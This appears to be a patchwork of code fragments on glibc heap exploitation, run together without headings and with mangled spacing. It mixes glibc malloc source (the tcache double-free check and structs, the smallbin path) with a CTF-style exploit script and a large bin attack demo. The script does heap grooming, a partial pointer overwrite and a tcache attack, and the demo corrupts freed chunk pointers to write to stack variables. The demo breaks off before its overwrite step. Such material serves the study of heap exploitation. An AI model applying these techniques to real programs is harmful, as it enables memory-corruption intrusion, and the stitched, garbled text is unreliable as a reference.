/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ }
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedefstructtcache_entry { structtcache_entry *next; /* This field exists to detect double frees. */ structtcache_perthread_struct *key; } tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedefstructtcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
add(0, 0x708) add(1, 0x18) # avoid top chunk consodidating free(0) add(2, 0x718) # malloc a large chunk to put the chunk 0 to large bins add(3, 0x68) # get the large-bin-chunk. named as chunk_A edit(3, 0x68, p64(0) + p64(0x81) + b'\x80\x39') # partial overwrite add(4, 0x18) add(5, 0x4f8)
# tcache attack add(10, 0x108) add(11, 0x58) for i inrange(7): add(12 + i, 0x68) for i inrange(7): free(12 + i) free(3) free(11) for i inrange(7): add(12 + i, 0x68) add(3, 0x68)
intmain(int argc, char *argv[]) { fprintf(stderr, "This file demonstrates large bin attack by writing a large " "unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further " "attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin " "attack\n\n");
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x320); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid " "consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x400); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid " "consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x400); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid " "consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20);
free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be " "inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
void *p4 = malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first " "large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts " "of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into " "the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the " "unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second " "large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the size of the freed second large chunk " "to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack " "variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted " "into the large bin freelist." " During this time, targets should have already been rewritten:\n");
/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;